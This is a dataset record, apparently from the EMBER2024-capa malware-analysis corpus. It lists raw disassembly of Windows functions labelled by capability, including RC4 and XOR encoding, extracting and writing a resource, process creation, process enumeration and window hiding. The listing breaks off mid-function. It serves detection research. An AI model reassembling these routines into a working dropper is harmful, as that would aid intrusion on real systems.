joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140021080
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x1400210db
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x1400210db
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x1400210f6
cmp eax, 0x42
jne 0x1400210db
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x1400211a6
cmp byte [r9 + r11], 0x5f
jne 0x1400211a6
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x14002120e
mov rcx, rsi
xor edx, edx
call fcn.14001c7e0
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.14001c7e0
test al, al
jne 0x1400212a1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140021132
lea rdx, [0x14139e2c3]
mov r8d, 1
call fcn.140018350
test al, al
jne 0x1400212a1
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x1400210ea
xor r14d, r14d
lea rbx, [0x14139e678]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x140021164
cmp byte [rax + rcx], 0x45
je 0x1400212ca
sub r14, 1
jb 0x140021189
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140021189
mov r8d, 2
mov rdx, rbx
call fcn.140018350
test al, al
jne 0x1400212a1
mov rcx, rsi
call fcn.14001e030
test al, al
jne 0x1400212a1
mov rax, qword [rsi]
test rax, rax
jne 0x140021150
jmp 0x1400210ea
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x140021268
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x140021202
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x1400211ec
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x1400211db
add dl, 0xa9
jmp 0x1400211ea
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x140021268
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x140021268
movzx edx, bl
add rax, rdx
jae 0x1400211b0
jmp 0x140021268
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x140021268
cmp rax, rcx
jae 0x140021265
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x1400212a9
cmp qword [rsi + 0x20], 0
je 0x1400212c3
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.140021080
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x1400210ec
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400212b8
lea rax, [0x14139e628]
lea rdx, [0x14139e638]
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.140018350
test al, al
je 0x1400212b8
mov dil, 2
jmp 0x1400210ea
mov dil, 1
xor r8d, r8d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x140021273
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x1400210ea
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x1400210ea
Function at 0x140025550
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x1413a1170]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400255c3
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1400255fa
test eax, eax
js 0x1400255d4
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400255ed
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, [0x1413a11d0]
lea rsi, [rsp + 0x78]
lea r9, [rsp + 0x50]
mov r8d, 1
mov rcx, rsi
call fcn.140024290
lea rcx, [rsp + 0x58]
mov rdx, rsi
call fcn.140023950
mov rcx, rax
call fcn.140023a90
mov ecx, 7
int 0x29
ud2
Function at 0x14002d230
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x1413a1170]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x14002d29c
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x14002d2ab
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x14002d2e3
cmp eax, 0x103
je 0x14002d2ed
test eax, eax
js 0x14002d2c8
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14002d2e3
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, [0x1413a11d0]
lea rsi, [rsp + 0x78]
lea r9, [rsp + 0x50]
mov r8d, 1
mov rcx, rsi
call fcn.140024290
lea rcx, [rsp + 0x58]
mov rdx, rsi
call fcn.140023950
mov rcx, rax
call fcn.140023a90
mov ecx, 7
int 0x29
ud2
Function at 0x14003b930
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1098
call fcn.140042e20
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1000], xmm6
mov qword [rbp + 0xff8], 0xfffffffffffffffe
mov qword [rbp + 0xfd8], rdx
mov r14, rcx
lea rsi, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, rsi
xor edx, edx
call fcn.1400436a0
mov dword [rbp + 0xfec], 0
xorps xmm6, xmm6
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
lea r15, [rbp + 0xfec]
mov qword [rbp + 0xfc8], r15
lea r12, case.0x14002e304.214
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0xfb0]
mov rcx, r14
mov rdx, rsi
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
test eax, eax
je 0x14003bb1e
mov r13, qword [sym.imp.KERNEL32.dll_SleepEx]
lea rsi, [rbp + 0xfb0]
mov rdi, qword [sym.imp.KERNEL32.dll_WriteFileEx]
mov qword [rbp + 0xfe0], r14
mov ecx, 0xffffffff
mov edx, 1
call r13
cmp dword [rbp + 0xfec], 0
je 0x14003b9f7
cmp dword [rbp + 0xff0], 0
jne 0x14003bb33
mov ebx, dword [rbp + 0xff4]
test rbx, rbx
je 0x14003bb33
cmp ebx, 0x1000
ja 0x14003bb77
xor r14d, r14d
nop dword [rax + rax]
cmp r14, rbx
ja 0x14003bb63
lea rdx, [r14 + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, ebx
sub r8d, r14d
mov dword [rbp + 0xfec], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r15
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0xfd8]
mov r9, rsi
call rdi
test eax, eax
je 0x14003bb26
nop word cs:[rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call r13
cmp dword [rbp + 0xfec], 0
je 0x14003baa0
cmp dword [rbp + 0xff0], 0
jne 0x14003bb2c
mov eax, dword [rbp + 0xff4]
add r14, rax
cmp r14, rbx
jne 0x14003ba40
mov dword [rbp + 0xfec], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r15
mov qword [rsp + 0x20], r12
mov r14, qword [rbp + 0xfe0]
mov rcx, r14
lea rdx, [rbp - 0x50]
mov r8d, 0x1000
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
test eax, eax
jne 0x14003b9f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14003bb33
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14, qword [rbp + 0xfe0]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call rsi
mov rcx, qword [rbp + 0xfd8]
call rsi
movaps xmm6, xmmword [rbp + 0x1000]
add rsp, 0x1098
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x1413a14b8]
mov rcx, r14
mov rdx, rbx
call fcn.1400514f0
jmp 0x14003bb8b
lea r8, [0x1413a14b8]
mov edx, 0x1000
mov rcx, rbx
call fcn.1400512c0
ud2
Function at 0x14003bbe0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x14003bc1f
mov rax, qword [rbp - 0x20]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x140029d60]
mov qword [rbp - 0x28], rax
lea rax, [0x1413a1630]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, [0x1413a1668]
lea rcx, [rbp - 0x60]
call fcn.1400511a0
ud2

Function at 0x14003da70
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rdi, rdx
cmp qword [rdx], 0
jne 0x14003db7f
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx + 8]
test rax, rax
jne 0x14003daa8
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x14003db42
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x14003db61
sub rax, rdx
add rdx, qword [rbx]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rsp + 0x30], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rsp + 0x30]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14003dafe
mov eax, dword [rsp + 0x30]
mov ecx, 2
test rax, rax
jne 0x14003db1b
jmp 0x14003db10
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x14003db16
cmp eax, 0x6d
jne 0x14003db32
mov byte [rsi + 1], 0
jmp 0x14003db26
mov ecx, 1
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
xor eax, eax
mov byte [rsi], al
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x14003db28
mov r8d, 0x10
mov rcx, rbx
call fcn.140051010
mov rax, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x14003dab5
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.140051010
mov rax, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
jmp 0x14003dab5
mov qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400523e0
ud2

Function at 0x14004742c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140047228
Function at 0x140068840
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x90
mov rsi, r9
mov rdi, r8
mov ebp, dword [rsp + 0xf0]
mov rax, qword [0x140266398]
xor rax, rsp
mov qword [rsp + 0x88], rax
cmp byte [rdx], 0
je 0x1400688b3
mov rbx, rdx
lea r14, [rsp + 0x20]
xor r12d, r12d
lea r15, str._2hhx
nop word [rax + rax]
lea rcx, [rbx + r12]
mov rdx, r15
mov r8, r14
call fcn.140069790
add r12, 2
mov rcx, rbx
call fcn.14008f040
inc r14
cmp rax, r12
ja 0x140068890
test ebp, ebp
jle 0x1400689ab
mov eax, ebp
xor ecx, ecx
cmp ebp, 8
jb 0x14006893b
mov rdx, rsi
sub rdx, rdi
cmp rdx, 0x20
jb 0x14006893b
cmp ebp, 0x20
jae 0x1400688d9
xor ecx, ecx
jmp 0x140068912
mov ecx, eax
and ecx, 0xffffffe0
xor edx, edx
movups xmm0, xmmword [rdi + rdx]
movups xmm1, xmmword [rdi + rdx + 0x10]
xorps xmm0, xmmword [rsp + rdx + 0x20]
xorps xmm1, xmmword [rsp + rdx + 0x30]
movups xmmword [rsi + rdx], xmm0
movups xmmword [rsi + rdx + 0x10], xmm1
add rdx, 0x20
cmp rcx, rdx
jne 0x1400688e0
cmp rcx, rax
je 0x1400689ab
test al, 0x18
je 0x14006893b
mov rdx, rcx
mov ecx, eax
and ecx, 0xfffffff8
nop word [rax + rax]
mov r8, qword [rdi + rdx]
xor r8, qword [rsp + rdx + 0x20]
mov qword [rsi + rdx], r8
add rdx, 8
cmp rcx, rdx
jne 0x140068920
cmp rcx, rax
je 0x1400689ab
mov rdx, rcx
not rdx
add rdx, rax
mov r8, rax
and r8, 3
je 0x140068966
nop dword [rax]
movzx r9d, byte [rdi + rcx]
xor r9b, byte [rsp + rcx + 0x20]
mov byte [rsi + rcx], r9b
inc rcx
dec r8
jne 0x140068950
cmp rdx, 3
jb 0x1400689ab
nop dword [rax]
movzx edx, byte [rdi + rcx]
xor dl, byte [rsp + rcx + 0x20]
mov byte [rsi + rcx], dl
movzx edx, byte [rdi + rcx + 1]
xor dl, byte [rsp + rcx + 0x21]
mov byte [rsi + rcx + 1], dl
movzx edx, byte [rdi + rcx + 2]
xor dl, byte [rsp + rcx + 0x22]
mov byte [rsi + rcx + 2], dl
movzx edx, byte [rdi + rcx + 3]
xor dl, byte [rsp + rcx + 0x23]
mov byte [rsi + rcx + 3], dl
add rcx, 4
cmp rax, rcx
jne 0x140068970
movsxd rax, ebp
mov byte [rsi + rax], 0
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.14006d340
nop
add rsp, 0x90
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140069270
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rdx
xor ebx, ebx
xor ecx, ecx
mov rdx, r8
mov r8, r9
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x140069319
mov rdi, rax
call fcn.1400633b0
xor ebx, ebx
xor ecx, ecx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
xor ecx, ecx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
call fcn.1400633a0
test rdi, rdi
je 0x140069319
call fcn.1400633a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x140069306
mov rbx, rax
mov r15d, dword [rsp + 0x70]
call fcn.1400633b0
lea r9d, [r15 + r14]
add r9d, 0xfffffc00
mov rdx, rsi
mov r8, rbx
call fcn.140069600
test eax, eax
je 0x140069306
call fcn.1400633a0
call fcn.1400633b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov ebx, 1
mov eax, ebx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140069330
Capabilities:
Create process on windows

Disassembly:
push rsi
sub rsp, 0xf0
movaps xmmword [rsp + 0xe0], xmm6
mov rsi, rdx
mov rax, qword [0x140266398]
xor rax, rsp
mov qword [rsp + 0xd8], rax
call fcn.1400633a0
xorps xmm6, xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
mov qword [rsp + 0xd0], 0
movaps xmmword [rsp + 0x50], xmm6
mov qword [rsp + 0x60], 0
mov word [rsp + 0xb0], 0
call fcn.1400633b0
call fcn.1400633a0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140069410
call fcn.1400633b0
mov rcx, qword [rsp + 0x50]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rsp + 0x58]
call rsi
call fcn.1400633a0
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.14006d340
movaps xmm6, xmmword [rsp + 0xe0]
add rsp, 0xf0
pop rsi
ret
Function at 0x140069520
Capabilities:
Enumerate processes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x160
mov rdi, rdx
mov rax, qword [0x140266398]
xor rax, rsp
mov qword [rsp + 0x158], rax
call fcn.1400633b0
call fcn.1400633a0
xor ebx, ebx
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x1400695db
mov rsi, rax
mov dword [rsp + 0x28], 0x130
lea rdx, [rsp + 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1400695c0
call fcn.1400633b0
call fcn.1400633a0
lea rbx, [rsp + 0x54]
mov r15, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea r14, [rsp + 0x28]
nop dword [rax + rax]
mov rcx, rdi
mov rdx, rbx
call r15
test eax, eax
je 0x1400695c4
mov rcx, rsi
mov rdx, r14
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1400695a0
xor ebx, ebx
jmp 0x1400695c8
xor ebx, ebx
jmp 0x1400695d2
mov ebx, dword [rsp + 0x30]
call fcn.1400633b0
call fcn.1400633a0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.14006d340
mov eax, ebx
add rsp, 0x160
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140069600
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, r9
mov r14, r8
mov rbx, rdx
mov rax, qword [0x140266398]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov edx, 8
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140069664
mov rdi, rax
mov rcx, rax
mov rdx, r14
mov r8, rsi
call fcn.14007d870
test rsi, rsi
je 0x1400696fb
cmp rsi, 8
jae 0x14006966b
xor eax, eax
jmp 0x1400696f0
xor esi, esi
jmp 0x140069775
cmp rsi, 0x20
jae 0x140069675
xor eax, eax
jmp 0x1400696c2
mov rax, rsi
and rax, 0xffffffffffffffe0
xor ecx, ecx
pcmpeqd xmm0, xmm0
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rdi + rcx]
movdqu xmm2, xmmword [rdi + rcx + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [rdi + rcx], xmm1
movdqu xmmword [rdi + rcx + 0x10], xmm2
add rcx, 0x20
cmp rax, rcx
jne 0x140069690
cmp rax, rsi
je 0x1400696fb
test sil, 0x18
je 0x1400696f0
mov rcx, rax
mov rax, rsi
and rax, 0xfffffffffffffff8
pcmpeqd xmm0, xmm0
movq xmm1, qword [rdi + rcx]
pxor xmm1, xmm0
movq qword [rdi + rcx], xmm1
add rcx, 8
cmp rax, rcx
jne 0x1400696d0
cmp rax, rsi
je 0x1400696fb
nop dword [rax]
not byte [rdi + rax]
inc rax
cmp rsi, rax
jne 0x1400696f0
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, rbx
mov edx, 0xc0000000
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov rcx, rax
mov rdx, rdi
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14006d340
mov eax, esi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x1400698b0
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x250
xor eax, eax
lea rcx, str.__t_e_m_p______a_p_p_d_a_t_a_____
nop word cs:[rax + rax]
movzx edx, byte [rax + rcx + 1]
test edx, edx
je 0x1400698f2
cmp edx, 0x25
je 0x1400698ea
mov byte [rsp + rax + 0x140], dl
inc rax
jmp 0x1400698d0
mov byte [rsp + rax + 0x140], 0
test eax, eax
je 0x14006990f
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x30]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rcx, [rsp + 0x28]
call fcn.140069aa0
movaps xmm0, xmmword [0x1400a7a70]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [str.This_is_a_message_for_DES_encryption.]
movaps xmmword [rsp + 0x30], xmm0
movabs rax, 0x2e6e6f69747079
mov qword [rsp + 0x4e], rax
lea rsi, [0x140292a40]
lea rdx, str.Original_Text:
mov rcx, rsi
call fcn.140062130
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140062130
mov rcx, rax
call fcn.140062830
lea rdi, [0x140278b80]
lea r8, [0x1400b0457]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x14010f301]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x14013ea56]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x1400fdb40]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x140148a32]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x1400dd3b5]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x1400fb349]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x14011e2cb]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x14014623b]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
lea r8, [0x140107b1c]
mov edx, 0x19000
mov rcx, rdi
call fcn.14008eb58
xor edi, edi
lea rbx, [0x140291b80]
jmp 0x140069a76
mov rdx, qword [rdi + rbx]
mov r8, qword [rdi + rbx + 0x10]
mov rcx, rsi
call fcn.140069c00
mov rcx, rax
call fcn.140062830
add rdi, 0x20
cmp rdi, 0xc80
je 0x140069a84
cmp qword [rdi + rbx + 0x18], 0x10
jae 0x140069a50
lea rdx, [rbx + rdi]
jmp 0x140069a54
xor eax, eax
add rsp, 0x250
pop rbx
pop rdi
pop rsi
ret
Function at 0x14006ed84
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14006edb2
xor eax, eax
jmp 0x14006ee98
cmp qword [rcx + 0x68], 0
je 0x14006edc3
call fcn.14006e280
jmp 0x14006ee98
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14006edda
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14006eddc
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14006ee0e
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14007d870
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14006ee92
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14006ee45
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14006ee6e
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14008c508
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14006ee92
cmp rsi, rbx
ja 0x14006ee4c
test rsi, rsi
je 0x14006ee92
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14008c508
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14007355c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400735a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400735a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400735a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400735a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400735a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400735a8
xor al, al
add rsp, 0x28
ret
Function at 0x140073f50
Capabilities:
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbp, r9
mov r8, r9
mov rsi, rdx
mov rbx, rcx
call fcn.140076200
test eax, eax
je 0x1400740a3
cmp dword [rdi], 0
je 0x140074011
mov eax, dword [rdi + 4]
cmp eax, 0x36001
jne 0x140073fb0
call fcn.1400796b0
test eax, eax
je 0x1400740a3
mov r8, rbp
mov rdx, rdi
mov rcx, rbx
call fcn.140079a80
jmp 0x140073ff6
cmp eax, 0x36002
jne 0x140073fd4
call fcn.14007aa20
test eax, eax
je 0x1400740a3
mov r8, rbp
mov rdx, rdi
mov rcx, rbx
call fcn.14007aff0
jmp 0x140073ff6
cmp eax, 0x36003
jne 0x140073ffe
call fcn.14007bb30
test eax, eax
je 0x1400740a3
mov r8, rbp
